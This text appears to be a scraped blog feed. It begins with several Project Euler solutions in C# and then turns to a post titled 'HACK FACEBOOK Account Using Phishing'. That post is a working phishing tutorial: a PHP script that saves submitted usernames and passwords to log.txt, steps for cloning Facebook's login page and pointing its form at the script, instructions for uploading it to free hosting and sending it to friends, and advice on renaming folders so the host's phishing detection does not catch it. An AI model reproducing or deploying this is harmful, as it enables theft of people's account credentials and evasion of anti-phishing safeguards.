i = i + 1;<br />
}<br />
i = i * 2;<br />
}<br />
<br />
return nextmax;<br />
}</i><br />
<br />
Do Leave Feed backs.<br />
<br />
Thanks<br />
Piyush</div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4109247145476032480.post-59823565064638419312013-07-27T00:59:00.002-07:002014-01-08T05:10:20.347-08:00Project Euler Solved using C# : 10001st prime<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div class="problem_content" role="problem"><div style="text-align: justify;">By listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6th prime is 13.</div><div style="text-align: justify;">What is the 10001st prime number?</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">what you have to do is traverse and check if the number is prime. The most important concept to remember is</div><ul style="text-align: left;"><li>2 is the only EVEN prime number</li>
<li>3 onwards all prime numbers are ODD</li>
<li>a number is considered to be prime if it is Divisible by any number Less Than or Equal To SQUAREROOT of (Suspected Number).</li>
</ul>Answer to the Problem is :<b> </b><b>104743</b><br />
<br />
<b> </b> <br />
<div style="text-align: justify;"></div><pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGjBpU0HtW12f0tIV1I130vkWykDnjw5RtejLgqER3wj7DP8FHj4_ZlUQ7nfYx8KeXwQ_VFpJrN8TacKAF4Gj0ZLJeP_CtsSEXJc74S5Lewzv1zNOR18gYnmo63lgcdPTfiM4x9ZaDKf7r/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ProjectEuler
{
class PrimeAtPlace
{
<a name='more'></a> public PrimeAtPlace(int place)
{
getPrimeatPlace(place);
}
private void getPrimeatPlace(int Place)
{
int counter = 1;
int suspectprime = 3;
int tempprime = 0;
while (counter <= Place)
{
if (checkIfPrime(suspectprime))
{
tempprime = suspectprime;
counter++;
}
suspectprime = suspectprime + 2;
}</code></pre><pre style="background: none repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> Console.WriteLine("Prime at " + counter + " is " + tempprime);</code>
<code style="color: black; word-wrap: normal;"> }
}
private Boolean checkIfPrime(int suspectprime)
{
for (int j = 3; j <= Math.Sqrt(suspectprime); j = j + 2)
{
if (suspectprime % j == 0) { return false; }
}
return true;
}
}
}
</code></pre></div></div>Unknownnoreply@blogger.com0Chandigarh, India30.7333148 76.779417930.5149318 76.4566944 30.951697799999998 77.1021414tag:blogger.com,1999:blog-4109247145476032480.post-50050891914407907842013-07-27T00:45:00.000-07:002014-01-08T05:10:10.533-08:00Project Euler Solved using C# : Sum square difference<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div class="problem_content" role="problem" style="text-align: left;"><div style="text-align: justify;">The sum of the squares of the first ten natural numbers is,</div><div style="text-align: justify;">1<sup>2</sup> + 2<sup>2</sup> + ... + 10<sup>2</sup> = 385</div><div style="text-align: justify;">The square of the sum of the first ten natural numbers is,</div><div style="text-align: justify;">(1 + 2 + ... + 10)<sup>2</sup> = 55<sup>2</sup> = 3025</div><div style="text-align: justify;">Hence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is 3025 <img alt="−" border="0" height="3" src="http://projecteuler.net/images/symbol_minus.gif" style="vertical-align: middle;" width="9" /> 385 = 2640.</div><div style="text-align: justify;">Find the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Remember Sigma(n) = (n*(n+1))/2</div><div style="text-align: justify;">and Sigma(n^2) = (n*(n+1)*(2n+1))/6 </div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Equating them w.r.t to given problem = Sigma(n)^2 - Sigma(n^2) is</div><h3 style="text-align: center;"><b>(n * ((n * n) - 1) * ((3 * n) + 2)) / 12</b></h3><div style="text-align: center;"><span style="font-weight: normal;">Answer to the Problem is : </span><b>25164150</b></div><pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGjBpU0HtW12f0tIV1I130vkWykDnjw5RtejLgqER3wj7DP8FHj4_ZlUQ7nfYx8KeXwQ_VFpJrN8TacKAF4Gj0ZLJeP_CtsSEXJc74S5Lewzv1zNOR18gYnmo63lgcdPTfiM4x9ZaDKf7r/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> using System;
namespace ProjectEuler
{
class SquareAndSum
{ <a name='more'></a>
public SquareAndSum(int consquitiveNumbertill)
{
Console.WriteLine(SqOfSumMinusSumofSq(consquitiveNumbertill));
}
private long SqOfSumMinusSumofSq(int consquitiveNumbertill)
{
int n = consquitiveNumbertill;
return (n * ((n * n) - 1) * ((3 * n) + 2)) / 12;
}
}
}
</code></pre></div></div>Unknownnoreply@blogger.com0Chandigarh, India30.7333148 76.779417930.5149318 76.4566944 30.951697799999998 77.1021414tag:blogger.com,1999:blog-4109247145476032480.post-23613119581766622922013-07-27T00:23:00.001-07:002014-01-08T05:10:26.844-08:00Project Euler Solved using C# : Smallest multiple <script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div class="problem_content" role="problem" style="text-align: left;"><h3 style="font-weight: normal; text-align: justify;">2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.</h3><h3 style="font-weight: normal; text-align: justify;">What is the smallest positive number that is <dfn title="divisible with no remainder">evenly divisible</dfn> by all of the numbers from 1 to 20?</h3><div style="font-family: Times,"Times New Roman",serif; text-align: justify;"><span style="font-size: small;"><b> </b></span><span style="font-family: Times,"Times New Roman",serif; font-size: small;">The Solution to this problem is very simple simply what one has to do is </span><span style="font-size: small;">logically think what the question demands, The problem statement wants you to find the largest common factor to all the given numbers<b>, </b>so what you have to do is to find the largest common factor to all the numbers from1 to 20.</span></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">The program to solve this problem in C# is below, call this class in the "static main()" function and get the required solution. Answer to this problem is :<b>232792560</b></div><div style="text-align: justify;"><br />
</div><pre style="background: none repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace ProjectEuler
{
class LargestCommonFactor
{
private int _upperlimit = 20;
private List<int> _primenumbers = new List<int>();
private List<int> _LCMcandidates = new List<int>();
public Dictionary<int, int> _primepowerpair = new Dictionary<int, int>();
public LargestCommonFactor()
<a name='more'></a>{
getPrimeNumbers();
getAllCandidates();
getComparisonArray();
}
private void getPrimeNumbers()
{
for (int i = 2; i < _upperlimit; i++)
{
if (checkIfPrime(i)) { _primenumbers.Add(i); }
}
}
private Boolean checkIfPrime(int suspectprime)
{
for (int j = 2; j < suspectprime; j++)
{
if (suspectprime % j == 0) { return false; }
}
return true;
}
private void getAllCandidates()
{
for (int i = 1; i <= _upperlimit; i++)
{
_LCMcandidates.Add(i);
}
}
private void getComparisonArray()
{
int[,] LCMArray = new int[_primenumbers.Count + 1, _LCMcandidates.Count + 1];
int[] LCMCandidates = _LCMcandidates.ToArray();
int[] primenumbers = _primenumbers.ToArray();
for (int i = 1; i < _LCMcandidates.Count + 1; i++)
{
LCMArray[0, i] = LCMCandidates[i - 1];
}
for (int i = 1; i < _primenumbers.Count + 1; i++)
{
LCMArray[i, 0] = primenumbers[i - 1];
}
fillComparisonArray(LCMArray);
printComparisonArray(LCMArray);
printLargestCommonFactor(LCMArray);
}
private void fillComparisonArray(int[,] array)
{
for (int i = 1; i < _primenumbers.Count + 1; i++)
{
for (int j = 1; j < _LCMcandidates.Count + 1; j++)
{
array[i, j] = getPowerofPrime(array[0, j], array[i, 0]);
}
}
}
private int getPowerofPrime(int number, int prime)
{
int temp = number;
if (number >= prime)
{
int counter = 0;
while (temp >= prime)
{
if (temp % prime == 0)
{
temp = temp / prime;
counter++;
}
else return 0;
}
return counter;
}
return 0;
}
private void printComparisonArray(int[,] array)
{
for (int i = 0; i < 9; i++)
{
for (int j = 0; j < 21; j++)
{
Console.Write(array[i, j] + " ");
}
Console.WriteLine();
}
}
private void printLargestCommonFactor(int[,] array)
{
for (int i = 1; i < _primenumbers.Count + 1; i++)
{
List<int> temp = new List<int>();
for (int j = 1; j < _LCMcandidates.Count + 1; j++)
{
temp.Add(array[i, j]);
}
extractMaxPowerofPrime(array[i, 0], temp);
}
printDictonary();
}
private void extractMaxPowerofPrime(int prime, List<int> powerset)
{
_primepowerpair.Add(prime, powerset.Max());
}
private void printDictonary()
{
double lcm = 1;
foreach (KeyValuePair<int, int> d in _primepowerpair)
{
Console.WriteLine("prime number is is: " + d.Key.ToString() + " power is: " + d.Value);
lcm = lcm * Math.Pow((double)Convert.ToInt32(d.Key.ToString()), (double)d.Value);
}
Console.WriteLine(lcm);
}
}
}
</code></pre></div></div>Unknownnoreply@blogger.com0Chandigarh, India30.7333148 76.779417930.5149318 76.4566944 30.951697799999998 77.1021414tag:blogger.com,1999:blog-4109247145476032480.post-7347783270099213442012-03-25T03:36:00.000-07:002014-01-08T05:10:33.740-08:00HACK FACEBOOK Account Using Phishing | By Neoteric<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-46943917-1']);
_gaq.push(['_setDomainName', 'hackwithpiyush.blogspot.in']);
_gaq.push(['_setAllowLinker', true]);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script><br />
<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCgQvblv0VFB0-odnZnc7Z8JKAnbEn2HYAZFMJ07Gh0FqzEHVA1bpCC4FJ-ogxC85UfNPfpR5Jp9BIzuaxw5MckVZdd0ngPVAJdLin39kHIKlWc5GHwPqK0sKlb8PXsjvdVoWEfBa3hDg/s1600/fbhacked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCgQvblv0VFB0-odnZnc7Z8JKAnbEn2HYAZFMJ07Gh0FqzEHVA1bpCC4FJ-ogxC85UfNPfpR5Jp9BIzuaxw5MckVZdd0ngPVAJdLin39kHIKlWc5GHwPqK0sKlb8PXsjvdVoWEfBa3hDg/s320/fbhacked.jpg" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span></div><span style="font-family: Georgia,'Times New Roman',serif;">last week a person requested here to explain how to make a fake login page of Facebook.. So i am giving a lesson here about making fake page of Facebook.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span class="Apple-style-span" style="background-color: red;"><span class="Apple-style-span" style="color: white; font-family: Georgia,'Times New Roman',serif;"><b>Note: Hacking is a crime. Dont use this tutorial to hack innocent people. I am teaching it for educational purpose only. I will not be responsible for any damage done by you.</b></span></span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">First i recommend you all to read my previous article on phishing page "How to make a Fake login page manually" coz here in this post i m not gonna explain all things as i hv done it before.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">well, here we go for creating Fake page of Facebook...</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Here we will need 3 types of files for facebook:</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">1. A php file with any name say login.php. This php file places main role to get the passwords of victim</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">2. index.html which is a fake html page similar to original Page of Facebook.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">3. Photos, CSS, js files</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<a name='more'></a><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<b><span class="Apple-style-span" style="color: red; font-family: Georgia,'Times New Roman',serif;">Step 1. Creating a login.php file></span></b><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Open notepad and paste the following lines there... as save it with name log<a href="http://www.techbyte4u.com/" target="_blank"><span class="Apple-style-span" style="color: black;">i</span></a>n.php</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<b><span class="Apple-style-span" style="background-color: lime; font-family: Georgia,'Times New Roman',serif;">Code Updated: By mistake i hv missed one line in php file, i hv add that line now. Sorry for inconvenience. </span></b><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><?php</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">header ('Location: http://www.facebook.com');</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">$handle = fopen("log.txt", "a");</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">foreach($_POST as $variable => $value) {</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"> fwrite($handle, $variable);</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"> fwrite($handle, "=");</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"> fwrite($handle, $value);</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"> fwrite($handle, "\r\n");</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">}</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">fwrite($handle, "\r\n");</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">fclose($handle);</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">exit;</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">?></span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<b><span class="Apple-style-span" style="color: red; font-family: Georgia,'Times New Roman',serif;">step 2. Create index.html Page:</span></b><br />
<span style="font-family: Georgia,'Times New Roman',serif;">2.1. first of all open login page of Facebook.com..... then right click there> save as/save page as> then save it....</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwMZZPw8PCIPxPVxF4eXe1BU1ihWA6FNXpxY-zql87vIY0SD95fyY_HL3uKO-rVseT4EgRXjziO-LTzq-sy6JYOhoQfhpFBbOVkQJ84KeAlw1A7xcBkdM7SR-70BGoRimTYeXcveDoHLHm/s400/image_1.jpg" width="400" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">check the downloaded file.... there will be</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">one htm file(Welcome to Facebook.htm)</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">A folder(Welcome to Facebook_files) containing some pics, css files and js files.(this folder contains 3rd type of files that i hv mentioned above.)</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" height="53" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF61NRGMmcELz3tBk-eeGuFhTwoZDpZIiheR5_bTboSc6ZQrh2HmR8QUnIEBMVrG2U94CDTwNICxOpiMz6yb-QGVNZiqcMIVotCiUTFIZ5a_MqypzlqCRhmEqIzyv-NVmFS_ThsVZQE7z2/s400/image_2.jpg" width="400" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">2.2. Now open the htm file with notepad(right click> open with> notepad)...</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" height="211" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyUYRx5Q_KvjnPNsKPP0fO74sXpuUj1L-FfNt6cKg5A_pmjQSTbKqbRndDsLVLOk3uKJ6N5fpQ_xjm24fjVEDf1Pnh_ovdYnaa-4bO3DhOQEUjGfHvezT-Nhcd97REjkE8adskfFEVb-Gb/s400/image_31.jpg" width="400" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">and then press ctrl +F and search for action... and you will find a line as shown in screenshot.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Note:in case of some other sites may be you find more then one action word... but you have to find out the exact type of line as shown in screen shot.... near which you will find a</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"> tag and method="post" something like that.</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif5rQp_PyxpknG3rpwFwnNiIIcx3AP_BcgHjPlFm_Cf6jk1OPrj5peqjpzmNZv5eAWEqkEUXcxe-G5E9Muot_F31JNIuiyCryP-noNP2A8eICzLB29ekJ6RLNkuIFiprMm6mReYaUxXQgN/s640/image_3.jpg" width="640" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">2.3. Now replace the url written after action with the name of your php file created in step 1.</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwKuvT_x2Dt5PH8Q-3Q74MGp6uG3zmj95UgKRQwkECuJkPY_FJw9A9aKJtCpZn1QPPDk3KvjYDtuUpuAp7Sp5dSK1d7SL221ccaYQULvD36osuNj6g3XY9qRjVV1ExeWEn4ql3M75TOMFJ/s640/image_4.jpg" width="640" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Now your fake page is ready....</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Save it with name index.html</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<b><span class="Apple-style-span" style="color: red; font-family: Georgia,'Times New Roman',serif;">Step 3: Uploading on a Free Hosting Site:</span></b><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Now you have to upload all the 3 mentioned files on a free hosting account. Here i m explaining file uploading on http://www.yourfreehosting.net/.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">1. first of all s<a href="http://www.techbyte4u.com/" target="_blank"><span class="Apple-style-span" style="color: black;">i</span></a>gn up for a free hosting Account.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span class="Apple-style-span" style="background-color: red; font-family: Georgia,'Times New Roman',serif;"><span class="Apple-style-span" style="color: white;">N</span><span class="Apple-style-span" style="color: white;">ote: </span><span class="Apple-style-span" style="color: white;">yourfreehosting.net </span><span class="Apple-style-span" style="color: white;"> is now not available for free, you can create account on <span class="Apple-style-span" style="border-collapse: collapse;"><a href="http://www.000webhost.com/473091.html" style="text-decoration: none;" target="_blank">http://www.000webhost.com/<wbr></wbr>473091.html</a> .</span>To know how to create account there, check post "<span class="Apple-style-span" style="border-collapse: collapse; line-height: 18px;"><a href="http://www.techbyte4u.com/2011/07/how-to-create-free-webhosting-account.html" style="text-decoration: none;">How to create a FREE webhosting Account</a></span>"</span></span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">2. After creating Account, login there, then go to control pannel> File Manager.</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF5rxJtE4Ghjl9RMrLhNVlgy_C0oqr7CnGMNvvJIaIEsPCAqRrL3d9ccGKJrZucdg-iJ9Rt6r2cFUrauRL2NsR-Snc1gYWuiWD7BVF_kXL13P-0Xs43izWO6aeYnyiDcn4mz14ZNDq8TpK/s320/image_3+%2819%29.jpg" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">3. Now remove the preexisting index.html file.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">4. Now click on upload files and then upload there index.html and login.php</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfkI1oqagqGx7Q5gLrsBRp1H3XEMDGRj37Fp9_8ZFp1CVLjj16I99YET3hCSmM3fj8eIFPwGoFO267ejA0Ewlp9t3kEhyrLmRK1NbUk871m_YLw8mv4hq6fCQHfn9601JNdifYIVPJUTCl/s320/image_4+%2812%29.jpg" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE3yJLcB80cMXPGfdsmatz5FRjshmXynq-Z9WPv4zlWDs5qW7zAWyqagZg9IbPDO9hA2A-29qzsw9bowNt2jGO-aAWDjCARkFKdXOibg4lYZrUuH2wVdrgfvc8H1nMFlXZA0oQW91R4cBr/s320/image_5+%2810%29.jpg" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">5. Now click on New directory to make a new folder there and name it "Welcome to Facebook_files"</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyeWY99O2CirsEqTV6yrhPhUWmj6zlMZYBU7Ydd0VmXbHmgKx5BgXeo-fTqse7RARNzwDmJ346wQ3mQHG0Y8sOsonGEyoEBiF0tS-SPdxP7Zffu0jTlQh-oYdcpDHGO85lZ5PGJl2gkAsC/s320/image_2+%2831%29.jpg" /></span></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzg7zz65ttmmo9zHU490F5_KQuhSCfmif4NO2tK-u7-4tWLwI94mpyt2NdrOE55m1qPjWHcPzuUoXa13ilqAZxp-P3lYfUJeyCpC0noPFVsJ0X8VRM5BX7X_kawfHcDtOn7LlKNHgkIFyu/s320/image_11.jpg" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">6. Now open the directory</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">"Welcome to Facebook_f<a href="http://www.techbyte4u.com/" target="_blank"><span class="Apple-style-span" style="color: black;">i</span></a>les"</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">and then upload all the files(css,js, photos) of folder Welcome to Facebook_files,which was downloaded with facebook page in step 2.</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiStXMgFWSboHmUw8wDEkEMncp0Z4mCf7DEf-fcPPm-k1t7niMZLZCfSWo_xZ9OEIbfn-gYZ9n0v9t254Tn9VkZweBX9FIBht3iXzW6Mi9jDeoNlbK6Ur-GWfB-du8dtM0Q92-HAAxobJpz/s320/image_111.jpg" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Now your phishing page is ready to hack ;)</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">7. Now give url of ur index page to ur friends, as soon as they will login through ur created fake page,a new log.txt file will be created and their password will be saved in that file.</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYdu4mZu6fXLyyIYlkwSzmIAG6g3jXklq1P1KPQS8ktpdyasrglk9HclL1RRoZR4MJq0V03taHGeEbPmmarXWDmQEGlATSWM7cmp9vUmI1cg6FFbykK0y4LR7rTO3fTQv1aCgTPWh-rujB/s320/image_41.jpg" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjvm6PWQ7awwih-2gdrSogEB5vmjrIYjL_ATkzz6KhlnT36sXXz6tPzx5kSvXxnJuqr4XxnJZnOXxc2evlmem3dSzSvNEzU_hIJ00_yTWGn3xCEs010_kPmTPpab-Q3etAup0H9Y7kNA5TZ/s320/image_311.jpg" /></span></div><div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span></div><b><span style="color: red; font-family: Georgia,'Times New Roman',serif;"><br />
</span></b><br />
<b><span style="color: red; font-family: Georgia,'Times New Roman',serif;">----------------------------------------------------------------------------------------------</span></b><br />
<b><span style="color: red; font-family: Georgia,'Times New Roman',serif;">----------------------------------------------------------------------------------------------</span></b><br />
<b><span style="color: red; font-family: Georgia,'Times New Roman',serif; font-size: medium;">Update 21/1/2012: Answer to Frequently asked question</span></b><br />
<b><span style="font-family: Georgia,'Times New Roman',serif;">1. Which URL you have to give to your friends or anyone else.</span></b><br />
<span style="font-family: Georgia,'Times New Roman',serif;"><b>Answer: </b>This is the domain url, that you have ordered/chosen during the time of registration, which is visible for you on almost every page of your free hosting site. Still if you didnt get, then see the pic below....</span><br />
<div class="separator" style="clear: both; text-align: center;"><span style="font-family: Georgia,'Times New Roman',serif;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoHgCPo1DI8k806COCuPCLMwWBF0f1DtkjrgdBoEcxpzv8pAzIkj_JIHWTuqEqFLS077ipxJyr7NDYmMCygc7vwEwZ2JgpRgRvLK5fkTj4peM-5jsWWrNhujDDJ32Y6MgbW9NaTyl0tJuS/s400/Fake_url.png" width="400" /></span></div><span style="font-family: Georgia,'Times New Roman',serif;"><br />
</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;">Here, you see the URL is up there as i mentioned earlier. Also if you press OPEN, given in front of ur index.html file, then a new page will be open, having the url you need in the URL bar.</span><br />
<span style="font-family: Georgia,'Times New Roman',serif;"></span><br />
<b><span style="font-family: Georgia,'Times New Roman',serif;">2. Photos are not appearing on your Fake page?</span></b><br />
<div style="text-align: -webkit-auto;"><span style="font-family: Georgia,'Times New Roman',serif;"><b>Answer: </b>It happens<span style="background-color: white;"> <span style="line-height: 15px;">because to detect a phishing page, web hosting sites are tracing the name of folders you are uploading, if they found same name as Facebook or any other site, then they dont let you make that folder/ or just block access of files from that folder. So if you just rename the directory uploaded in step 5, they their system will not recognize it. And after renaming you need to edit </span></span></span><span style="background-color: white; line-height: 15px;"><span style="font-family: Georgia,'Times New Roman',serif;">the index.html file and give this new name every where in file where you found old name. You can do it simply by opening the index.html file with notepad and replace the old directory name with the new name everywhere in the file.</span></span></div><div style="text-align: -webkit-auto;"><span style="background-color: white; line-height: 15px;"><span style="font-family: Georgia,'Times New Roman',serif;"><br />
